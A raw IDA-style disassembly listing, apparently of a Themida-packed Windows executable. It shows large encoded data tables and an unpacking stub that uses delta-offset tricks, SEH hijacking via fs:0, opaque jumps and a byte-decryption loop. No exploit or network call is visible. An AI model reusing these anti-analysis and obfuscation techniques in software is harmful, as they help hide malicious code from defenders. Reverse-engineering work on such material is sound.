		dd 81E7BF00h, 1, 0
		dd 0DDEBE700h, 77h, 2 dup(0)
		dd 5B6D6E00h, 0
		dd 5B831400h, 4	dup(0)
		dd 22222200h, 22222222h, 22h, 5CF46B00h, 2 dup(0)
		dd 809B4700h, 7Ch, 5AB3E800h, 5D395E00h, 6 dup(0)
		dd 0B09D7F00h, 7Ch, 2 dup(0)
		dd 638D8D00h, 12FE8004h, 0
		dd 6400h, 4 dup(0)
		dd 80ADA000h, 7Ch, 100h, 0B0941700h, 63AD0000h,	4, 35E96B00h
		dd 0B9h, 5 dup(0)
		dd 6B000000h, 2, 6 dup(0)
		dd 0B08EE400h, 0FFA25400h, 0B364FFh, 80000000h,	7Ch, 0FD3D4400h
		dd 0FFh, 0CE00h, 4 dup(0)
		dd 0FFFFFF00h, 12FFC4FFh, 118BD200h, 2B537DEBh,	15h, 3 dup(0)
		dd 2D8B9F00h, 3Bh, 5 dup(0)
		dd 5AE5B700h, 6	dup(0)
		dd 0FF927800h, 0FFh, 0
		dd 5BFAB400h, 0
		dd 0A1200E00h, 0FFh, 5B002300h,	2 dup(0)
		dd 5C06B400h, 0
		dd 0B01A4400h, 8 dup(0)
		dd 0FFFFFF00h, 0FFh, 0
		dd 9C00h, 0Ch dup(0)
		dd 57E32D00h, 0A351ED00h, 0FFh,	0A47CEC00h, 0FFh, 0
		dd 7C00h, 4 dup(0)
		dd 90EB9400h, 7Ch, 5 dup(0)
		dd 8111DA00h, 0E1D6897Ch, 25h, 6 dup(0)
		dd 0B01A4400h, 5 dup(0)
		dd 5B815500h, 4	dup(0)
		dd 5F4F0000h, 57E37900h, 0
		dd 0FFDDF700h, 0FFh, 0
		dd 0AD0000h, 4 dup(0)
		dd 75E000h, 2 dup(0)
		dd 61FFB000h, 1, 0A400h, 0
		dd 8800h, 2 dup(0)
		dd 0A0BDB900h, 0FFh, 799900h, 0
		dd 10EB00h, 15h	dup(0)
		dd 3F971400h, 0FFh, 0Dh	dup(0)
		dd 6800h, 9 dup(0)
		dd 5ED50C00h, 2	dup(0)
		dd 9F990B00h, 0E4h, 3 dup(0)
		dd 4F4AF800h, 0FFh, 12FE8000h, 811D1A00h, 0B0h,	0
		dd 0E5F37B00h, 74h, 80180E00h, 7Ch, 0Dh	dup(0)
		dd 90EB9400h, 4CF3E17Ch, 29h, 0
		dd 5816EA00h, 6	dup(0)
		dd 6C256E00h, 0DBh, 9 dup(0)
		dd 57EF3900h, 3	dup(0)
		dd 55597400h, 86h, 5 dup(0)
		dd 24B09700h, 7Ah, 2 dup(0)
		dd 3B217300h, 0D1h, 9 dup(0)
		dd 5D956E00h, 0
		dd 0B6021300h, 4F782D00h, 0C530DF1Bh, 511000A9h, 0
		dd 0F8BF3900h, 18DB9C06h, 6690FAh, 8 dup(0)
		dd 1E879600h, 0F2h, 0B38B0D00h,	2 dup(0)
		dd 5EAF1100h, 0
		dd 581C3700h, 5	dup(0)
		dd 5BF1B500h, 0
		dd 5ADBA600h, 3	dup(0)
		dd 2E753500h, 38h, 0
		dd 5B831400h, 4	dup(0)
		dd 78A5DC00h, 68h, 3F6BCA00h, 78h, 3 dup(0)
		dd 36363600h, 36h, 4 dup(0)
		dd 12FF5400h, 0
		dd 5B6EF000h, 2, 11h dup(0)
		dd 89701B00h, 0FCh, 41A8AD00h, 7Eh, 4 dup(0)
		dd 4300h, 6C000000h, 2,	2 dup(0)
		dd 0CFDA700h, 38h, 6 dup(0)
		dd 46DA4400h, 57E32DC2h, 8400h,	0
		dd 381FD200h, 2Ch, 0E005000h, 0FEh, 0
		dd 0B97E00h, 3 dup(0)
		dd 0EDBE4700h, 7Ch, 5 dup(0)
		dd 0B44E5B00h, 90EB9476h, 7Ch, 0
		dd 0FFFFFF00h, 5BF1ADFFh, 100h,	2 dup(0)
		dd 5B83A600h, 41A8AD00h, 0FFA0887Eh, 0FFh, 2 dup(0)
		dd 0A3EB2600h, 0FFFFA4FFh, 5D6AE8FFh, 4	dup(0)
		dd 0F8BF3900h, 6, 5BCF1300h, 92000000h,	2, 0
		dd 11111100h, 11h, 5CC37100h, 4AB71400h, 7CA8h,	2 dup(0)
		dd 7000h, 6400h, 58D4A00h, 4Bh,	0Fh dup(0)
		dd 0ED62BD00h, 7Ch, 756E3200h, 0Dh, 1E879600h, 0F2h, 0
		dd 29AAA200h, 0D2D99A01h, 5DDF6B5Bh, 2 dup(0)
		dd 0A6B39500h, 67h, 57002300h, 2 dup(0)
		dd 581F2E00h, 6A6000h, 83844356h, 54h, 2 dup(0)
		dd 8DA09400h, 0FEh, 3 dup(0)
		dd 0AFDBDF00h, 57h, 2 dup(0)
		dd 0A6081400h, 28010567h, 7136940Ah, 51h, 6 dup(0)
		dd 5B002300h, 90EB9400h, 7Ch, 60h dup(0)
		dd 81FFB000h, 1, 0Bh dup(0)
		dd 0A0D10300h, 8 dup(0)
		dd 5B831400h, 5C34A000h, 0B037EC00h, 90EB9400h,	7Ch, 0Ah dup(0)
		dd 5C79CD00h, 5	dup(0)
		dd 40100000h, 0FFFF4000h, 5D3985FFh, 3 dup(0)
		dd 1E4F4D00h, 5Fh, 4 dup(0)
		dd 5EAFFA00h, 2	dup(0)
		dd 91056D00h, 7Ch, 0CFDA700h, 38h, 2 dup(0)
		dd 0B0180F00h, 6 dup(0)
		dd 0FF83A600h, 0FFh, 0
		dd 814AF200h, 7Ch, 2 dup(0)
		dd 57E32D00h, 4	dup(0)
		dd 0B0FA0300h, 2 dup(0)
		dd 5BB31500h, 0
		dd 12FEF000h, 6	dup(0)
		dd 83C00h, 0FF4C6300h, 12FFA4FFh, 2 dup(0)
		dd offset dword_564194+16Ch
		dd 2 dup(0)
		dd 29AAA200h, 1, 0
		dd 0A9E50000h, 0DD7883E6h, 60EB77h, 2 dup(0)
		dd 90EB9400h, 7Ch, 3 dup(0)
		dd 90EB9400h, 7Ch, 0
		dd 57E32D00h, 2	dup(0)
		dd 0DBFFFF00h, 7Ch, 29h	dup(0)
		dd 0A680A300h, 0CDh, 4 dup(0)
		dd 0B1148F00h, 0C5C87F4h, 38h, 9FFB1000h, 912DBD61h, 5EFC3D7Ch
		dd 0
		dd 51FFB000h, 2, 4 dup(0)
		dd 90EB9400h, 7Ch, 4AFBFE00h, 0CDh, 17h	dup(0)
		dd 81CDDA00h, 7Ch, 10h dup(0)
		dd 90EB9400h, 7Ch, 9 dup(0)
		dd 103700h, 0B000E800h,	0FC24FA00h, 75h, 0Ah dup(0)
		dd 48592400h, 0FFFFFF80h, 0FFh,	90EB9400h, 7Ch,	15h dup(0)
		dd 0CFDA700h, 38h, 5EA800h, 3 dup(0)
		dd 6E000000h, 0D097502h, 0D5h, 0FA72B600h, 0B4h, 0FA72B600h
		dd 0FFFFFFB4h, 0FDh, 0B53F6400h, 0
		dd 0B3287800h, 4 dup(0)
		dd 1DE58600h, 0Eh, 5 dup(0)
		dd offset dword_564194+16Ch
		dd 0
		dd 58D4A00h, 4Bh, 0
		dd 28000h, 1Ah dup(0)
		dd 962E8C00h, 6Bh, 0
		dd 5BCF1300h, 3	dup(0)
		dd 90EB9400h, 7Ch, 60302400h, 4	dup(0)
		dd 5D772D00h, 58002300h, 15h dup(0)
		dd 0A1568800h, 53h, 4 dup(0)
		dd 58052500h, 5B92B000h, 3 dup(0)
		dd 5D38BF00h, 6	dup(0)
		dd 0D6CD7F00h, 7Ah, 2 dup(0)
		dd 0B5917800h, 5BBD1900h, 7F455F00h, 83h, 61FFB000h, 1
		dd 5ED8A700h, 0
		dd 0B9ADAF00h, 1Bh, 2 dup(0)
		dd 81CDDA00h, 7Ch, 2 dup(0)
		dd 0DFC41B00h, 77h, 90EB9400h, 60391D7Ch, 0Bh dup(0)
		dd 0E000h, 0
		dd 0A47CDA00h, 0FF9274FFh, 0FFh, 0
		dd 0A57BA300h, 0FFh, 12h dup(0)
		dd 8000h, 70367F00h, 0D5h, 0
		dd 83000000h, 0A2FDF3DEh, 5DDC05FFh, 4 dup(0)
		dd 0B457DB00h, 13h, 13h	dup(0)
		dd 0B08B2800h, 3 dup(0)
		dd 0A81CD300h, 0FFh, 4 dup(0)
		dd 8FADE900h, 12FEF03Ah, 0
		dd 5B6EF000h, 2, 6 dup(0)
		dd 7400h, 3 dup(0)
		dd 11301400h, 2Ch dup(0)
		dd 0A6B39500h, 5B002367h, 3B6BB00h, 48h, 5 dup(0)
		dd 0A51F0200h, 76FD9CFFh, 70h, 0
		dd 0B08E5100h, 3 dup(0)
		dd 5B002300h, 8	dup(0)
		dd 89407900h, 0BDF55DFFh, 3D948Eh, 2 dup(0)
		dd 0B0180F00h, 0
		dd 90EB9400h, 7Ch, 5B000000h, 4	dup(0)
		dd 45C73700h, 0CCh, 0B63F0F00h,	0
		dd 5D970400h, 5	dup(0)
		dd 0FFFFFF00h, 0FFh, 7ED52200h,	0F2179083h, 76h, 0
		dd 0F069CA00h, 7F5422BBh, 83h, 0Bh dup(0)
		dd 66970000h, 0A5h, 812A0900h, 7Ch, 3 dup(0)
		dd 0B38B3200h, 7 dup(0)
		dd 100h, 5BCF1300h, 0
		dd 1D3BF700h, 68h, 0FF93A800h, 0FFh, 0Dh dup(0)
		dd 5B002300h, 5F50AD00h, 4 dup(0)
		dd 5BC70B00h, 6	dup(0)
		dd 0D353C500h, 86h, 3 dup(0)
		dd 0B000E800h, 20EE900h, 0
		dd 90EE1800h, 7Ch, 5 dup(0)
		dd 5B673B00h, 0
		dd 100h, 0FFFFFF00h, 7Fh, 5 dup(0)
		dd 90EB9400h, 7Ch, 0FFD79700h, 0FFh, 0
		dd 0AAE900h, 5C93CB00h,	6 dup(0)
		dd 90EB9400h, 7Ch, 6 dup(0)
		dd 0A000h, 3 dup(0)
		dd 73655200h, 74726174h, 2E707041h, 657865h, 5 dup(0)
		dd 80263C00h, 6016A17Ch, 3 dup(0)
		dd 1E951300h, 5Eh, 3 dup(0)
		dd 6000h, 90EB9400h, 7Ch, 0
		dd 90EE1800h, 0F08B8D7Ch, 77h, 5C3A4300h, 6E755F6Dh, 6B636170h
		dd 7265h, 7Eh dup(0)
		dd 0BEFC5D00h, 82h, 0
		dd 5B811F00h, 0
		dd 90EE1800h, 7Ch, 8C8C00h, 0
		dd 0B61E6900h, 0FA72B600h, 0A0B2C9B4h, 1Dh, 3 dup(0)
		dd 0DBE700h, 5 dup(0)
		dd 0B631E500h, 2 dup(0)
		dd 7A000h, 0
		dd 6D000000h, 90EB9402h, 7Ch, 0
		dd 80264000h, 7Ch, 6 dup(0)
		dd 5D395E00h, 4FE7F100h, 8CFFh,	0
		dd 87CF1000h, 50h, 6 dup(0)
		dd 5AE0FE00h, 40000000h, 4 dup(0)
		dd 0A6B39500h, 67h, 80B4CF00h, 90EB947Ch, 7Ch, 5 dup(0)
		dd 0C0000000h, 2 dup(0)
		dd 7D900h, 100h, 2 dup(0)
		dd 57ADA000h, 0
		dd 65685400h, 6164696Dh, 1Eh dup(0)
		dd 830B2E00h, 90h, 0
		dd 0A80DAF00h, 0FFh, 3 dup(0)
		dd 5EF8EA00h, 8	dup(0)
		dd 90EB9400h, 0A8F9FC7Ch, 2 dup(0)
		dd 90EB9400h, 7Ch, 4 dup(0)
		dd 9400h, 3 dup(0)
		dd 3D7F800h, 80180E00h,	7Ch, 3 dup(0)
		dd 400h, 11EE4000h, 3Bh, 0
		dd 5AB3E800h, 9800h, 4 dup(0)
		dd 12FFA400h, 0
		dd 5B6EF000h, 2, 2 dup(0)
		dd 0DDEE5A00h, 77h, 0
		dd 575E5000h, 7FFFFF14h, 31h, 5	dup(0)
		dd 5C245800h, 3	dup(0)
		dd 12FF5400h, 4	dup(0)
		dd 29AAA200h, 101h, 2 dup(0)
		dd 962E8C00h, 6Bh, 0B08D2000h, 0DED1700h, 1100003Ch, 0CFDA700h
		dd 38h,	7 dup(0)
		dd 400E900h, 6 dup(0)
		dd 5B831400h, 3	dup(0)
		dd 0B0180F00h, 3 dup(0)
		dd 5D812500h, 200h, 0
		dd 0D1FFB000h, 1, 0
		dd 0B0291800h, 3 dup(0)
		dd 6C00h, 2 dup(0)
		dd 400h, 5FB0A600h, 810A7700h, 82727Ch,	8F6EAF00h, 8, 0
		dd 12FFF000h, 0
		dd 5B83A600h, 0B0h dup(0)
		dd 5BB31500h, 2	dup(0)
		dd 41000000h, 0FFA5B47Eh, 90EB94FFh, 0B018427Ch, 1DE58600h
		dd 0Eh,	3 dup(0)
		dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
		dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
		dd 0B0FA37h, 448BE0FFh,	0E0FF0424h, 13h	dup(0)
		dd 5AB3E800h, 4	dup(0)
		dd 0ED018000h, 0FFh, 3 dup(0)
		dd 0FF4CA700h, 0FFh, 2 dup(0)
		dd 2900000h, 7 dup(0)
		dd offset dword_43EC00
		dd 0DDEE3700h, 90EB9477h, 67D7B57Ch, 80003E0Fh,	7Ch, 3 dup(0)
		dd 0FFFFFF00h, 0B01920FFh, 10EB00h, 0
		dd 100h, 3 dup(0)
		dd 2DC43900h, 1Dh, 5ED70A00h, 0Bh dup(0)
		dd 0F426DD00h, 0FFh, 3 dup(0)
		dd 0FF8C6100h, 0FFh, 0
		dd 0DED40300h, 90EB94FCh, 7Ch, 2 dup(0)
		dd 801A2400h, 0B08E517Ch, 3 dup(0)
		dd 0DD000000h, 77h, 4 dup(0)
		dd 0EE772F00h, 10EB75h,	7 dup(0)
		dd 5B69E500h, 0
		dd 6049DC00h, 0
		dd 0A6908000h, 4 dup(0)
		dd 0B0180F00h, 6 dup(0)
		dd 9FFFED00h, 137h, 6 dup(0)
		dd 60291D00h, 6	dup(0)
		dd 801D7700h, 1D1A7A7Ch, 4 dup(0)
		dd 0F33B3300h, 69h, 2 dup(0)
		dd 7D100h, 5 dup(0)
		dd 6B460C00h, 84h, 2 dup(0)
		dd 5D13D000h, 3	dup(0)
		dd 5B125200h, 8	dup(0)
		dd 0A103C300h, 0B00000FFh, 32h dup(0)
		dd 12FEF000h, 3	dup(0)
		dd 0A6B39500h, 67h, 3 dup(0)
		dd 5B1D6700h, 5	dup(0)
		dd 271000h, 2 dup(0)
		dd 261C00h, 2 dup(0)
		dd 5D38BB00h, 5	dup(0)
		dd 5AB3E800h, 0
		dd 29AAA200h, 1, 21212100h, 21h, 4 dup(0)
		dd 0B01A4000h, 5A7CD300h, 5 dup(0)
		dd 4D00000h, 2 dup(0)
		dd 1900h, 6 dup(0)
		dd 5C228E00h, 3	dup(0)
		dd 0B4299000h, 0FFh, 3 dup(0)
		dd 37000h, 0
		dd 51104000h, 37h, 7 dup(0)
		dd 0DDEDE500h, 77h, 0
		dd 5D037500h, 2	dup(0)
		dd 90EB9400h, 7Ch, 3 dup(0)
		dd 5F2E0B00h, 2Ah dup(0)
		dd 0F33B3300h, 69h, 1Eh	dup(0)
		dd 5C228E00h, 2	dup(0)
		dd 2700h, 9 dup(0)
		dd 100h, 0
		dd 0D20000h, 0DD6BF000h, 77h, 8	dup(0)
		dd 400h, 10h dup(0)
		dd 5D6A5200h, 4	dup(0)
		dd 60291D00h, 8DA09400h, 0FEh, 0
		dd 245FF000h, 0C068EC00h, 0B0AEA100h, 0B087D300h, 0E4h
		dd 0Ah dup(0)
		dd 57E87500h, 0
		dd 0D6CD7F00h, 7Ah, 802C1600h, 7Ch, 2 dup(0)
		dd 5B120200h, 20119700h, 809C877Ch, 0Dh, 0
		dd 5801DD00h, 8	dup(0)
		dd 0B00A2500h, 0E000h, 0
		dd 0F091400h, 9A019D13h, 7Bh, 14h dup(0)
		dd 0D2180F00h, 5Bh, 89h	dup(0)
		dd 6400h, 0B0B50800h, 9	dup(0)
		dd 802CAC00h, 7Ch, 2 dup(0)
		dd 0B0FA0300h, 4 dup(0)
		dd 0A680A300h, 0CDh, 3 dup(0)
		dd 0FF94BD00h, 0FFh, 6 dup(0)
		dd 0F2129000h, 76h, 400h, 2 dup(0)
		dd 0D000h, 8 dup(0)
		dd 0D1FFB000h, 1, 12FF6000h, 2 dup(0)
		dd 5B83A600h, 144BA800h, 2 dup(0)
		dd 7F606600h, 20h, 8 dup(0)
		dd 66EAD700h, 67h, 2 dup(0)
		dd 0A6D28700h, 0
		dd 5B8A4800h, 2	dup(0)
		dd 42A9E200h, 1Ch, 6 dup(0)
		dd 20E00000h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_581095:				; CODE XREF: start:loc_57DB9Cj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6143503h
		mov	[ebp+6140C55h],	edx
		mov	[ebp+6141605h],	esi
		mov	[ebp+614268Dh],	eax
		cmp	dword ptr [ebp+61400D9h], 0
		jz	short loc_5810CD
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_5810CD:				; CODE XREF: start+6E0ABj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6141221h],	eax
		push	45h
		call	sub_581181
		push	783749Ah
		call	sub_5811C7
		push	0A894B25h
		call	sub_5811C7
		jmp	loc_58130B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_581181	proc near		; CODE XREF: start+6E0C5p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 61435F1h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_58119D:				; CODE XREF: sub_581181+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_5811BC
		mov	eax, [ebp+arg_0]
		mov	[ebx+614355Bh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_58119D
; ---------------------------------------------------------------------------


loc_5811BC:				; CODE XREF: sub_581181+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_581181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5811C7	proc near		; CODE XREF: start+6E0CFp start+6E0D9p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 614363Ah
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_5811ED:				; CODE XREF: sub_5811C7+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_5811ED
		mov	[ebp+var_84], 0
		lea	edi, [edx+614355Bh]
		lea	esi, [ebp+var_80]


loc_58121D:				; CODE XREF: sub_5811C7+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_581229:				; CODE XREF: sub_5811C7+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_581229
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_58121D
		popa
		leave
		retn	4
sub_5811C7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_581267
; ---------------------------------------------------------------------------


loc_581263:				; CODE XREF: Themida_:0058126Aj
		inc	dword ptr [ebp-4]
		inc	esi


loc_581267:				; CODE XREF: Themida_:00581261j
		cmp	byte ptr [esi],	0
		jnz	short loc_581263
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_5812F8
; ---------------------------------------------------------------------------


loc_581279:				; CODE XREF: Themida_:005812FBj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_5812EF
; ---------------------------------------------------------------------------


loc_581282:				; CODE XREF: Themida_:005812F3j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_5812DC
; ---------------------------------------------------------------------------


loc_581292:				; CODE XREF: Themida_:005812E0j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_5812B4
		cmp	bl, 39h
		ja	short loc_5812B4
		sub	bl, 30h
		jmp	short loc_5812D6
; ---------------------------------------------------------------------------


loc_5812B4:				; CODE XREF: Themida_:005812A8j
					; Themida_:005812ADj
		cmp	bl, 61h
		jb	short loc_5812C6
		cmp	bl, 66h
		ja	short loc_5812C6
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_5812D6
; ---------------------------------------------------------------------------


loc_5812C6:				; CODE XREF: Themida_:005812B7j
					; Themida_:005812BCj
		cmp	bl, 41h
		jb	short loc_5812D6
		cmp	bl, 46h
		ja	short loc_5812D6
		sub	bl, 41h
		add	bl, 0Ah


loc_5812D6:				; CODE XREF: Themida_:005812B2j
					; Themida_:005812C4j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_5812DC:				; CODE XREF: Themida_:00581290j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_581292
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_5812EC
		mov	eax, [ebp-10h]
		stosb


loc_5812EC:				; CODE XREF: Themida_:005812E6j
		inc	dword ptr [ebp-8]


loc_5812EF:				; CODE XREF: Themida_:00581280j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_581282
		add	edx, 4		; CODE XREF: start+6E343j


loc_5812F8:				; CODE XREF: Themida_:00581277j
		cmp	edx, [ebp-4]
		jb	loc_581279
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_58130B:				; CODE XREF: start+6E0DEj
		mov	ecx, 7000h
		lea	edi, [ebp+6143780h]


loc_581316:				; CODE XREF: start+6E306j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_581316
		mov	eax, 48692121h
		mov	edx, 0F0113000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+61438A0h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	bx, 189Eh
		sub	bh, 0F1h
		call	sub_581363
		add	bh, ah
		dec	ebx
		insb
		jle	short near ptr loc_5812F5+2
		jmp	short loc_5813B2
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 44h
		dd 8BAD1615h
		db 1Ah,	81h, 5Eh

; =============== S U B	R O U T	I N E =======================================



sub_581363	proc near		; CODE XREF: start+6E33Ap
		mov	bx, 0A66Ah
		pop	ebx
		sub	eax, edx
		push	0
		push	edi
		call	sub_581375
		and	[edi-3Dh], bl
sub_581363	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_581375	proc near		; CODE XREF: sub_581363+Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_581375	endp

; ---------------------------------------------------------------------------
aNx		db 'Ïn•%',0
		dw 0FFF0h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0EF26CDBFh, 8BDABF0Fh
		db 0CAh, 33h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5813B2:				; CODE XREF: start+6E345j
		jmp	dword ptr [esi-7Fh]
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 38h,	4Dh, 5Ah
		dd 0B70F0E75h, 0D0033C50h, 45503A81h, 8740000h,	10002Dh
		dd 0E3EB4700h, 58F64h, 83000000h, 958D04C4h, 61438B3h
		dd 35FF6452h, 0
		dd 258964h, 3000000h, 10002DC1h, 708B0000h, 0E68104h, 81FFFF00h
		dd 0FEh, 8B037680h, 0C0331C70h,	7432F883h, 3E81661Fh, 9745A4Dh
		dd 0EE81h, 0EB400001h, 3C7E8BEBh, 3F81FE03h, 4550h, 0E8EB4474h
		dd 58F64h, 83000000h, 0C36104C4h, 244C8B51h, 0B0A98110h
		dd 0
		dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h
		dd 1438BEEDh, 7C858D06h, 89061438h, 0B881h, 33595D00h
		dd 6496C3C0h, 58Fh, 0C4830000h,	0F47ABB04h, 6A5A58h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0F0CF7C3h, 280h, 66FE8A00h, 8C66DE8Bh, 0D8B70FD9h, 10E9h
		dd 60BE3100h, 0DE535477h, 1999E45Dh, 0E2AA83CAh, 4E1801Dh
		dd 9FB9BB66h, 0AE9h, 96B0600h, 0AF06117Eh, 0ACC9857h, 47850FC9h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 30DCC351h, 20F4BB66h, 1CD85C7h
		dd 10614h, 0BB660000h, 830F3C80h, 2, 68E9D98Bh,	60000000h
		dd 49A1EF81h, 0F38001FEh, 85C7619Bh, 61401CDh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0F9C35545h
		dd 3B728F0Fh, 60AA6C17h, 28B0Fh, 61600000h, 11E8h, 922C0700h
		dd 6EE40C3Eh, 0A353C7DCh, 0AFC87E0Eh, 0AE9E959h, 70000000h
		dd 42058EDAh, 22429BDCh, 8961590Fh, 140C2D85h, 5870F06h
		dd 53000000h, 5BDA8B66h, 2C658589h, 0BE80614h, 4A000000h
		dd 7D90628Ch, 98063022h, 59FC0215h, 0CE9h, 1DF3A700h, 1AF76F4Eh
		dd 0C53246D5h, 0B1C18148h, 6800006Ah, 1A8Ch, 58D88B66h
		dd 77E6BE66h, 6660118Bh, 9A7CF681h, 0F28161F8h,	3D4C5A4Dh
		dd 0EA81F98Bh, 5C989292h, 0EA81DA8Ah, 3A955AF5h, 1189F08Bh
		dd 0E983F18Bh, 48E68104h, 81721EB0h, 1E8h, 0C5850F00h
		dd 0FFFFFFFh, 1387h, 0EE900h, 0A2CE0000h, 1535A932h, 8DBDFADDh
		dd 0D1600813h, 6E8h, 41919100h,	609C4042h, 8332ACBAh, 0B85A616Ch
		dd 10F20B98h, 5C99C281h, 0F18B0000h, 0F92627BFh, 0DCF78146h
		dd 0E846F930h, 13h, 59F5EB04h, 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h
		dd 0E8BC2781h, 12h, 7746807Bh, 271B65EAh, 124FBEE6h, 0CC5CB780h
		dd 0E8800717h, 0FF5859D9h, 0CEB70F32h, 12E95Bh,	77C10000h
		dd 0F8AA31FFh, 0D19653CCh, 11C11FA1h, 4781D567h, 8E9CEB81h
		dd 3B51ECDh, 0DE53EB81h, 0CC8A7399h, 7426F381h,	8A601D70h
		dd 61E68AD0h, 81661A89h, 833A98C8h, 0F5202EAh, 4A59CFBFh
		dd 83F38B4Ah, 850F01EFh, 0FFFFFFABh, 4EB7DB0h, 21Bh, 752E9h
		dd 6060F800h, 8982C280h, 14015595h, 0B86106h, 0E9000000h
		dd 14h,	48486A09h, 8478E4B6h, 7797A5AFh, 4EFD9285h, 94028A0Fh
		dd 2824548Bh, 2495BD31h, 85890614h, 6142E2Dh, 1BA59D89h
		dd 3CBE0614h, 89000000h, 1402A1BDh, 24740306h, 858B6024h
		dd 6143445h, 0EE8h, 3883A000h, 1FB5D142h, 7D9C65F5h, 0E8D733D6h
		dd 14h,	173A7D58h, 993D2055h, 390BD120h, 6FEBB6C9h, 0F4414B4Ah
		dd 6661595Fh, 18D0FADh,	0F9000000h, 24244403h, 2BC19D89h
		dd 0B5890614h, 6142A71h, 12840F50h, 50000000h, 0F525052h
		dd 0F585A31h, 8C0F31h, 5A000000h, 24048958h, 11E9h, 0E4A75200h
		dd 0BB256D5Bh, 79A661A1h, 0FE2EBE37h, 408B17BEh, 91958978h
		dd 60061403h, 14E957h, 72B20000h, 861F7020h, 0FB18AE43h
		dd 1D3AC373h, 0FD71108Fh, 575AF12Bh, 6E9h, 8BE7C000h, 5FB28754h
		dd 24440361h, 9D09FC28h, 6142579h, 0F818408Bh, 13E940h
		dd 4E250000h, 4E7FA5C7h, 12D43639h, 415ECDE7h, 0F02E711h
		dd 4485899Eh, 6006143Bh, 0AE9h,	5798E800h, 5E7ACDCBh, 663D9990h
		dd 5861C78Bh, 0C890Fh, 7E90000h, 7A000000h, 4006285Dh
		dd 708B06B0h, 0B5896078h, 6142D79h, 1FF5BD09h, 83610614h
